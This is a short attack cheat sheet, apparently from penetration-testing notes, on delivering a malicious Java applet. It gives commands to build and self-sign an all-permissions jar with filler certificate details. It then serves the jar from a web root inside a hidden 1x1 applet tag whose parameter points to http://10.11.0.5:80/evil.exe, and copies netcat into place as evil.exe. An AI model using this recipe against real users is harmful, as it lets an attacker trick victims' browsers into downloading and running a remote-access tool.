Java Applets

Java applets were small applications written in the Java programming language, or another programming language that compiles to Java bytecode, and delivered to users in the form of Java bytecode.

Compile, sign, etc.

javac -source 1.7 -target 1.7 Java.java
echo “Permissions: all-permissions” > /root/manifest.txt
jar cvf Java.jar Java.class
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass password123

-> Fill in with bullshit

jarsigner -keystore mykeystore -storepass password123 -keypass mykeypass -signedjar SignedJava.jar Java.jar signapplet
cp Java.class SignedJava.jar /var/www/html/

Make exploit available to the target

echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://10.11.0.5:80/evil.exe"></applet>' > /var/www/html/java.html
locate nc.exe
cp /usr/share/windows-binaries/nc.exe /var/www/html/evil.exe
